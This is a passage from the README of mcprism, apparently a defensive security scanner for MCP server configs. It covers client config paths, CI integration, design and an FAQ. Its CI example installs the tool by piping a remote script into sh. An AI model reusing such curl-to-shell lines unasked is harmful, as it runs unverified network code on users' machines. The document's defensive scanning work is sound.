Spreadsheets and GRC workflows | ## Supported clients & transports Open WebUI keeps MCP connections in its admin UI, not a local config file, so they are not auto-discovered. See the [Open WebUI review guide](docs/OPEN-WEBUI.md) to inspect a Streamable HTTP endpoint directly. Kimi Code CLI reads user servers from `$KIMI_CODE_HOME/mcp.json` (default `~/.kimi-code/mcp.json`) and project servers from `.kimi-code/mcp.json`. Project entries that only change enablement or tool filters inherit their connection from the user config and are not reported as standalone servers. The legacy Kimi CLI reads `$KIMI_SHARE_DIR/mcp.json` (default `~/.kimi/mcp.json`). Enabled Kimi Code plugins are also scanned through `plugins/installed.json` and their `kimi.plugin.json` (or `.kimi-plugin/plugin.json`) manifests. Disabled plugins and disabled plugin MCP servers are skipped. Factory Droid stores user servers in `~/.factory/mcp.json` and shared servers in `.factory/mcp.json` at the project root or an ancestor folder. mcprism scans both scopes; the user file is skipped by `--project-only`. Visual Studio reads `%USERPROFILE%/.mcp.json` for user servers and `.vs/mcp.json` for solution-specific servers. Both use the standard top-level `servers` map; `--project-only` skips the user-level file. mcprism reads the JSON/JSONC MCP config used by Amp, Kilo Code, Kimi Code CLI, Kimi CLI, Claude Desktop, Claude Code, Factory Droid, Visual Studio, GitHub Copilot CLI, Antigravity IDE/CLI, Qwen Code, Trae, Junie, JetBrains Air, Zed, Cursor, LM Studio, Jan, Warp, AnythingLLM Desktop, VS Code (GitHub Copilot Chat), Windsurf, Cline, Roo Code, Continue and similar tools, Kiro's global `~/.kiro/settings/mcp.json` and project `.kiro/settings/mcp.json`, Amazon Q Developer's global `~/.aws/amazonq/agents/default.json` and project `.amazonq/default.json` config (plus the legacy `mcp.json` locations), Gemini CLI's `~/.gemini/settings.json` and `.gemini/settings.json`, Qwen Code's `~/.qwen/settings.json` and `.qwen/settings.json`, plus Codex's TOML config. Continue YAML is also discovered in `~/.continue/config.yaml` and project `.continue/config.yaml`; JSON/JSONC and YAML server files are discovered under `~/.continue/mcpServers/` and project `.continue/mcpServers/` directories. Goose uses YAML too: its user MCP extensions are read from `~/.config/goose/config.yaml` (or `%APPDATA%/Block/goose/config/config.yaml` on Windows) under the top-level `extensions` key. On Linux, `XDG_CONFIG_HOME` overrides the default `~/.config` directory. LibreChat uses the top-level `mcpServers` mapping in `librechat.yaml`; project files and the local file named by `CONFIG_PATH` are discovered. mcprism reads stdio, SSE, and HTTP entries (including Streamable HTTP), checks configured headers and admin API keys, and skips WebSocket entries. URL-valued `CONFIG_PATH` settings are not downloaded. Trae project servers are discovered from `.trae/mcp.json`; Trae requires its **Enable Project MCP** setting for the IDE itself to load that project config. Zed uses `context_servers` in `~/.config/zed/settings.json` (or `~/.zed/settings.json` on macOS) and `.zed/settings.json` for projects, including profile-specific server maps. Copilot CLI user servers come from `~/.copilot/mcp-config.json` (or `$COPILOT_HOME`); project servers come from `.mcp.json` and `.github/mcp.json`. OpenCode uses `mcp.servers` in `opencode.json` or `opencode.jsonc`; local command arrays, environment maps, and remote URLs are normalized for the same checks. It understands `mcpServers` / `servers` JSON objects and arrays, and Codex's `[mcp_servers.]` tables. It speaks all three MCP transports: stdio, Streamable HTTP, and the legacy HTTP+SSE. Codex discovery checks the system config (`/etc/codex/config.toml` on Unix or `%ProgramData%/OpenAI/Codex/config.toml` on Windows), the user config (`$CODEX_HOME/config.toml` or `~/.codex/config.toml`), and project configs (`.codex/config.toml`). Values referenced by Codex's `bearer_token_env_var` are only read when you explicitly enable a live probe with `--dynamic`. Codex and ChatGPT desktop plugins are also checked for bundled MCP servers in `$CODEX_HOME/plugins/cache////mcp.json` (or `~/.codex/plugins/cache/...`); legacy `.mcp.json` is used when `mcp.json` is absent. LM Studio uses the user-level `~/.lmstudio/mcp.json` on macOS and Linux and `%USERPROFILE%/.lmstudio/mcp.json` on Windows. Jan Desktop and Jan Agent share `mcp_config.json` in Jan's data directory: `~/Library/Application Support/Jan/data` on macOS, `~/.local/share/Jan/data` on Linux, and `%APPDATA%/Jan/data` on Windows. mcprism follows Jan's `data_folder` setting and the `JAN_DATA_ROOT` or `JAN_DATA_FOLDER` environment overrides. Linux Flatpak installs are also discovered from `~/.var/app/ai.jan.Jan/data/Jan/data`. Warp file-based servers are discovered from `~/.warp/.mcp.json` (also used by Preview), `~/.warp-oss/.mcp.json` for OSS, and the shared `~/.agents/.mcp.json`. The Warp Agent CLI's separate `~/.warp_cli/.mcp.json` is also discovered on macOS. Project servers in `.agents/.mcp.json` are found when scanning a project. AnythingLLM Desktop uses `plugins/anythingllm_mcp_servers.json` in its storage directory: `~/Library/Application Support/anythingllm-desktop/storage` on macOS, `~/.config/anythingllm-desktop/storage` on Linux, and `%APPDATA%/anythingllm-desktop/storage` on Windows. Cherry Studio keeps MCP settings in application state instead of a stable standalone config file. Export servers from **Settings → MCP → MCP Servers → Add → Export to JSON**. When the exported `mcp-servers.json` is in the project directory (or one of its parents), `mcprism scan` discovers it automatically; otherwise pass the exported file path directly. Cherry Studio exports can contain credentials in environment variables, headers, URLs, or command arguments; treat the file as sensitive and review it before sharing. See the [Cherry Studio MCP export guide](https://github.com/CherryHQ/cherry-studio-website/blob/main/docs-site/content/advanced-basic/extensions/mcp/README.md). Gemini CLI discovery also checks system defaults and settings. The paths are `/etc/gemini-cli/system-defaults.json` and `/etc/gemini-cli/settings.json` on Linux, `/Library/Application Support/GeminiCli/system-defaults.json` and `/Library/Application Support/GeminiCli/settings.json` on macOS, and `%ProgramData%/gemini-cli/system-defaults.json` and `%ProgramData%/gemini-cli/settings.json` on Windows. Set `GEMINI_CLI_SYSTEM_DEFAULTS_PATH` or `GEMINI_CLI_SYSTEM_SETTINGS_PATH` to override either system path. Qwen Code discovery also checks system defaults and settings: `/etc/qwen-code/system-defaults.json` and `/etc/qwen-code/settings.json` on Linux, `/Library/Application Support/QwenCode/system-defaults.json` and `/Library/Application Support/QwenCode/settings.json` on macOS, and `%ProgramData%/qwen-code/system-defaults.json` and `%ProgramData%/qwen-code/settings.json` on Windows. Set `QWEN_CODE_SYSTEM_DEFAULTS_PATH` or `QWEN_CODE_SYSTEM_SETTINGS_PATH` to override either system path. Qwen Code's `httpUrl` setting is treated as a Streamable HTTP endpoint. Antigravity IDE and CLI use the global config at `~/.gemini/config/mcp_config.json`; workspace configs live at `.agents/mcp_config.json`. The scanner also discovers plugin configs at `~/.gemini/config/plugins/*/mcp_config.json` and `.agents/plugins/*/mcp_config.json`. Remote entries using `serverUrl` (or `url`) are treated as Streamable HTTP endpoints. OpenCode discovery checks user configs in `~/.config/opencode/`, project configs named `opencode.json(c)` or `.opencode/opencode.json(c)`, and system configs under `/etc/opencode/` (Linux), `/Library/Application Support/opencode/` (macOS), or `%ProgramData%/opencode/` (Windows). OpenClaw servers are discovered from `~/.openclaw/openclaw.json` (or the file set by `OPENCLAW_CONFIG_PATH`) and project `openclaw.json` files. Both `mcp.servers` and node-hosted `nodeHost.mcp.servers` entries are parsed, including stdio, Streamable HTTP, and legacy SSE definitions. Hermes Agent uses `mcp_servers` in `~/.hermes/config.yaml`. mcprism also scans profile configs under `~/.hermes/profiles/*/config.yaml` and a custom `$HERMES_HOME/config.yaml` when `HERMES_HOME` is set. Stdio, Streamable HTTP, and explicitly selected SSE servers are supported. Amp settings are discovered from `~/.config/amp/settings.json(c)` and project `.amp/settings.json(c)`. mcprism also reads Amp Skill MCP servers from sibling `mcp.json` files and `mcpServers` in `SKILL.md` YAML frontmatter, including project skills under `.agents/skills/` and local skills under `~/.config/agents/skills/`, `~/.agents/skills/`, and `~/.config/amp/skills/`. Claude-compatible Skill directories are also checked. Additional skill roots configured through `amp.skills.path` are discovered in user and workspace settings. Local command definitions and remote `url`/`headers` entries are supported. Kilo Code stores servers under the `mcp` key in `~/.config/kilo/kilo.json(c)` or project `kilo.json`/`kilo.jsonc` and `.kilo/kilo.json`/`kilo.jsonc`. mcprism understands Kilo's command arrays, `environment` maps, and remote `url`/`headers` entries. Mistral Vibe stores MCP servers as `[[mcp_servers]]` tables in `~/.vibe/config.toml` and project `.vibe/config.toml`. Set `VIBE_HOME` to override the user config directory. Stdio, HTTP, Streamable HTTP, static headers, and API keys referenced by environment-variable name are recognized. MCP servers declared in Vibe plugins' `mcp.json` files are also discovered. Roo Code project discovery checks `.roo/mcp.json`; directory scans also label this path as a Roo Code config. Global extension settings are discovered from VS Code-compatible editor storage. VS Code's editor-managed MCP servers are also discovered from the default user config and profile-specific `mcp.json` files under `Code/User/profiles/` (and the corresponding Insiders, Code - OSS, and VSCodium config directories). Copilot's native user config remains `~/.copilot/mcp-config.json`. Cline CLI discovery checks `~/.cline/data/settings/cline_mcp_settings.json`. Set `CLINE_MCP_SETTINGS_PATH` when Cline uses a custom settings path. The scanner also checks the legacy VS Code extension storage locations. Amazon Q Developer discovery checks the IDE's global agent config at `~/.aws/amazonq/agents/default.json` and project config at `.amazonq/default.json`. It also checks the legacy global and project `mcp.json` files. Kiro IDE and CLI share the global `~/.kiro/settings/mcp.json`; the project config is `.kiro/settings/mcp.json`. Set `KIRO_HOME` to override the global Kiro directory. Junie CLI and the JetBrains IDE plugin use `~/.junie/mcp/mcp.json` for user servers and `.junie/mcp/mcp.json` for project servers. Set `JUNIE_HOME` to override the user-level directory. JetBrains Air in IDEs uses `~/.jetbrains/mcp/mcp.json` for user-level servers. Air project workspaces can share servers from `.air/mcp.json`; directory scans also identify this file as a JetBrains Air config. ## CI/CD Run mcprism as a [pre-commit](https://pre-commit.com) hook so changed MCP configs are checked before they are committed: ```yaml - repo: https://github.com/HUA503/mcprism rev: v0.43.74 hooks: - id: mcprism ``` The hook matches common JSON/JSONC MCP config names, OpenCode and Kilo configs, and project `.gemini/settings.json`. It accepts configs without MCP servers and reports parse errors. Override `files` for other config names. By default, findings are shown but do not block a commit. Add `args: [--fail-on, high]` to the hook to fail on high or critical findings. The hook accepts an empty config with a severity gate; report generation and other audit options still require a server. Block risky servers in a pipeline with the `ci` profile: ```yaml - name: Audit MCP servers run: | curl -fsSL https://raw.githubusercontent.com/HUA503/mcprism/main/install.sh | sh mcprism scan mcp.json --profile ci ``` Publish to GitHub code scanning via SARIF: ```yaml name: MCP security on: pull_request: push: branches: [main] permissions: contents: read security-events: write jobs: scan: runs-on: ubuntu-latest steps: - uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1 - id: mcprism uses: HUA503/mcprism@v0.43.74 with: target: mcp.json source-target: ./server sarif-file: mcprism.sarif source-sarif-file: mcprism-source.sarif # Optional: fail if source files or helper paths could not be fully analyzed. # fail-on-coverage-warning: true # Optional: this dynamically connects to one server; use an isolated runner without secrets. # inventory-target: mcp.json # inventory-baseline: mcp.lock.json - uses: github/codeql-action/upload-sarif@1bd86f2fdb4b86187fa4059f16f31a3202acc9ea # v4 if: always() && hashFiles('mcprism.sarif') != '' && (github.event_name != 'pull_request' || github.event.pull_request.head.repo.full_name == github.repository) with: sarif_file: mcprism.sarif category: mcprism-config - uses: github/codeql-action/upload-sarif@1bd86f2fdb4b86187fa4059f16f31a3202acc9ea # v4 if: always() && hashFiles('mcprism-source.sarif') != '' && (github.event_name != 'pull_request' || github.event.pull_request.head.repo.full_name == github.repository) with: sarif_file: mcprism-source.sarif category: mcprism-source ``` The action downloads the matching Linux, macOS, or Windows release, verifies its SHA-256 checksum, and runs the `ci` profile by default. `source-target` is optional; when set, the action also runs the static source review and writes a second SARIF report. This scan never launches the project. Set `scan-config: false` to run source review alone. Set `policy`, `suppressions`, `baseline`, or `fail-on` to use your own gate. Its `sarif-file` output can be passed to the config upload step; `source-sarif-file` is available when `source-target` is set. Upload the reports with separate categories. The workflow needs `security-events: write` to publish findings. The action also adds severity counts and skipped source paths to the workflow summary when SAST coverage is incomplete. It exposes `findings-count`, `source-findings-count` and `coverage-warning-count` outputs for downstream steps. It emits up to 25 GitHub Actions annotations per report by default, so findings appear directly in the workflow check without a SARIF upload or `security-events: write` permission. Set `annotations: false` to disable them; upload SARIF separately to retain findings in GitHub code scanning. Coverage warnings are visible by default but do not fail the job. Set `fail-on-coverage-warning: true` to make an incomplete source scan fail; the CLI equivalent is `mcprism vet ./server --fail-on-coverage-warning`. GitHub-hosted Linux and macOS runners include `jq` for SARIF summary counts; Windows uses PowerShell's built-in JSON support. When the action is pinned to a release tag, it uses that matching binary version automatically. Pin to a full commit SHA for stricter supply-chain protection. To fail CI when one server's MCP definitions change, create a reviewed lock with `mcprism inventory save mcp.json --output mcp.lock.json`, then set both `inventory-target` and `inventory-baseline` in the action. This opt-in check connects to the server to enumerate capabilities and may launch a stdio process; use a dedicated runner without secrets. Version 1 locks tracked tools only; regenerate them once with the current release before using `inventory verify`. To replace the existing lock file, pass `--force` after reviewing the newly enumerated definitions: `mcprism inventory save mcp.json --output mcp.lock.json --force`. The composite action supports Linux, macOS, and Windows GitHub-hosted runners. For Jenkins, GitLab, or other CI systems, use the CLI examples above. For a complete GitLab job that installs a pinned release and publishes a JUnit report even when the scan fails, copy [`examples/gitlab-ci.yml`](examples/gitlab-ci.yml) and set `MCPRISM_TARGET` to your config file or directory. JUnit output works with the test report steps in Jenkins and GitLab, and CycloneDX output can be handed to an SBOM or vulnerability tracker. ## How it works ```mermaid flowchart TD A[Targets: auto-discover / files / directories / URLs / source trees] --> B[Analysis] B --> B1[Config rules
static · capability · supply-chain · network] B --> B2[Source SAST
tool args to command · SSRF · path sinks] B --> B3[MCP handshake
list tools, resources, prompts; poisoning checks] B1 --> D[Policy enforcement
overrides · allow/deny · network isolation] B2 --> D B3 --> D D --> E[Suppressions
accepted risk with reason and expiry] E --> F[Score 0-100, grade A-F, compliance gate] F --> G[Report
table · json · sarif · md · html · junit · cyclonedx · csv] ``` Static analysis (the default) only reads local config and source files, so it has no side effects and needs no network. Live probing is opt-in: when you pass `--dynamic` or `--probe`, mcprism starts or connects to the target server. In that mode it hands the spawned process a restricted environment (a small allowlist instead of your full shell; use `--inherit-env` to override) and applies an egress guard that blocks redirects and dial-out to cloud-metadata and link-local addresses (169.254.0.0/16, 100.100.100.200, fe80::/10). Even with those guards, treat an untrusted server as untrusted and probe it inside a sandbox or VM. If `HTTP_PROXY` or `HTTPS_PROXY` is set, the proxy may resolve the server hostname itself; mcprism cannot inspect that DNS result, so enforce the same egress restrictions at the proxy or network layer. Secrets seen on the command line, in URLs or in evidence are masked in every report format. The bundled demo server (`examples/testserver`) simulates risky behavior without performing any of it. The package layout and data flow are described in [docs/ARCHITECTURE.md](docs/ARCHITECTURE.md). ## When mcprism fits mcprism is for teams that want one local, CI-friendly review of MCP configuration, supported server source code and server-provided metadata: - Use the single Go binary on macOS, Linux or Windows without a Python or Node runtime dependency. - Review local configuration and source fully offline. Live probing is opt-in; it lists capabilities but never calls tools. - Apply policy, baselines and severity gates in CI, with SARIF, JUnit, CycloneDX and other machine-readable reports. The source analyzer uses bounded, language-specific pattern and flow tracking. For assurance that depends on full-program data flow, runtime fuzzing or observing tool calls, pair mcprism with a tool built for that analysis. A clean mcprism report is not a safety certification. ## FAQ **Does mcprism call my tools or read my data?** It never invokes `tools/call`. By default, a live probe only initializes the server and lists capabilities. With the explicit `--read-content` option, it also sends `resources/read` and `prompts/get`; a server may return file or other resource data and rendered prompt text. Use that option only with a trusted target. Retrieved text stays local and is not saved in reports, although a matched evidence snippet can be included when a rule fires. **Do inventory save and verify start the target?** Yes. They connect to remote servers or start stdio processes to enumerate metadata. They never call tools. Use a sandbox or a dedicated runner without secrets for untrusted targets; the lock stores tool and prompt names, opaque resource IDs, and hashes, never raw metadata or resource URIs. **Does it send data anywhere?** There is no telemetry, and local configs or reports are never uploaded. `registry search` and `registry audit` send the search term, while `registry scan` sends the requested server name to the official MCP Registry to fetch public metadata. Other static scans do not connect anywhere. A live scan (`--dynamic` for scan, `--probe` for vet) connects to the server you point it at and may start its process; treat it as untrusted and use a sandbox. Probing refuses cross-host redirects and connections to cloud-metadata/link-local addresses, and by default does not pass your shell environment to the spawned server. `--read-content` also asks the target to read resources and render prompts, so only enable it when that extra server-side work is appropriate. When a configured HTTP proxy resolves the target hostname, use proxy or network egress controls as well; mcprism only checks the direct socket destination and literal target address. **Will my tokens end up in the report?** No. Credentials in URL userinfo, `--api-key`/`--token` style arguments, `key=value` pairs, `Bearer` headers and known token prefixes (AWS, GitHub, Slack, GitLab, OpenAI, JWT) are masked as `***` in the target string and in connection errors and finding evidence across all output formats; `inspect` also redacts recognized credentials before printing a connection error. Detection still runs on the original values; only rendered output is redacted. **How is this different from mcp-scan or mcp-audit?** There are several unrelated projects using names such as “mcp-scan” and “mcp-audit” (for example, [withaxiom/mcp-scan](https://github.com/withaxiom/mcp-scan), [anirudh-mehra/mcp-audit](https://github.com/anirudh-mehra/mcp-audit) and [veloxlabsio/mcp-audit](https://github.com/veloxlabsio/mcp-audit)), and their features change over time, so this README avoids a fixed competitor checklist. mcprism focuses on an offline-first single CLI that combines config review, supported-language source analysis, optional metadata probing and CI policy/reporting. See [when mcprism fits](#when-mcprism-fits) and the [analysis limits](#source-code-review-sast). **A finding is a false positive for my setup. What do I do?** Fix the underlying issue if you can, or suppress it with a reason and an expiry. Suppressed items stay visible and expire on their own. See [docs/POLICIES.md](docs/POLICIES.md). If the rule is wrong or missed a real risk, send a minimal sanitized example through the [detection-feedback form](https://github.com/HUA503/mcprism/issues/new?template=detection_feedback.yml). **Does a clean report mean the server is safe?** No. mcprism reports known, observable risk. It cannot prove a server is safe, so only run servers you trust. ## Community and support Ask usage questions, share workflows, or discuss ideas in [GitHub Discussions](https://github.com/HUA503/mcprism/discussions); start with the [bilingual getting-started thread](https://github.com/HUA503/mcprism/discussions/263) if you are new. For reproducible bugs or detection feedback, use the [issue forms](https://github.com/HUA503/mcprism/issues/new/choose). Report security vulnerabilities in mcprism privately using [SECURITY.md](SECURITY.md). Please remove credentials, private URLs, and sensitive paths before sharing examples. ## Roadmap - [ ] More rules and fewer false positives as the MCP spec evolves - [x] MCP registry scanning - [x] User-defined regex checks in policy files - [x] Pre-commit hook - [x] GitHub Actions integration with SARIF output - [x] VS Code workspace scan extension - [x] JetBrains editor integration - [x] Scoop package - [x] Homebrew formula - [x] Nix package - [x] Rust `rmcp` tool SAST - [x] Initial C# SAST for official SDK `[McpServerTool]` methods - [x] Follow uniquely resolved C# helpers across files through concrete-type calls - [x] Kotlin SDK `server.addTool` callbacks and bounded same-file/imported helper chains - [x] Initial Swift SDK `withMethodHandler(CallTool.self)` tool-handler SAST - [x] Swift Package Manager target scans follow unique top-level helper functions across source files - [ ] Broader data-flow coverage for dynamic dispatch, returned values and complex object graphs; current cross-file and helper tracking is bounded and language-specific ([details](docs/SAST.md)). - [ ] Built-in sandbox wrapper for live probes ## Contributing Issues and PRs are welcome. A good rule contribution is a high-signal, deterministic check with a low false-positive rate: add it under `internal/rules` (or `internal/sast` for source analysis), map it to an OWASP MCP risk, and include positive and safe negative cases. See [CONTRIBUTING.md](CONTRIBUTING.md) for the contributor guide. The code layout is in [docs/ARCHITECTURE.md](docs/ARCHITECTURE.md). Run `go vet ./... && go test ./...` before opening a PR. ## License [MIT](LICENSE) © mcprism contributors. mcprism is a defensive tool. It reports risk; it does not prove a server is safe, and a clean report is not a reason to trust a server you do not understand.